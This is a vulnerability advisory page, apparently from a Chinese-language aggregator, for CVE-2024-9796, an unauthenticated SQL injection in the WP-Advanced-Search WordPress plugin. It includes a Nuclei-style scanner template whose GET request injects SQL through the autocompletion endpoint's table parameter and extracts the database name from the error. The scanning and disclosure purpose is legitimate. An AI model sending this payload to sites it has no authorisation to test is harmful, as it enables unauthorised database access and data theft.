CVE-2024-9796: WordPress WP-Advanced-Search <= 3.3.9 - SQL Injection

日期: 2025-08-01 | 影响软件: WordPress WP-Advanced-Search | POC: 已公开

漏洞描述

The WordPress WP-Advanced-Search plugin for WordPress is vulnerable to SQL Injection in all versions up to, and including, 3.3.9 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

PoC代码[已公开]

id: CVE-2024-9796

info:
  name: WordPress WP-Advanced-Search <= 3.3.9 - SQL Injection
  author: s4e-io
  severity: critical
  description: |
    The WordPress WP-Advanced-Search plugin for WordPress is vulnerable to SQL Injection in all versions up to, and including, 3.3.9 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
  reference:
    - https://wpscan.com/vulnerability/2ddd6839-6bcb-4bb8-97e0-1516b8c2b99b/
    - https://github.com/RandomRobbieBF/CVE-2024-9796
    - https://nvd.nist.gov/vuln/detail/CVE-2024-9796
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-9796
    cwe-id: CWE-89
    epss-score: 0.74048
    epss-percentile: 0.98791
  metadata:
    max-request: 1
    verified: true
    vendor: mathieu_chartier
    product: wp-advanced-search
    framework: wordpress
    fofa-query: body="/wp-content/plugins/wp-advanced-search/"
  tags: cve,cve2024,wp,wordpress,wp-plugin,sqli,wp-advanced-search

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/wp-advanced-search/class.inc/autocompletion/autocompletion-PHP5.5.php?q=admin&t=wp_users%20--&f=user_login&type=&e"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "Table '([a-zA-Z0-9_]+)\\.wp_users' doesn't exist"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: body
        name: database_name
        regex:
          - "([a-zA-Z0-9_]+)\\.wp_users"
# digest: 4a0a00473045022100b363cb1a1e9a7bcb6b51167659f4b5b50781c4d9a94ce99c9ede964762d7dc3702202ea848c69f435b85879fb634d3e0f5adb4e6bbf98602f4e56be8a7260d9bdb09:922c64590222798bb761d5b6d8e72950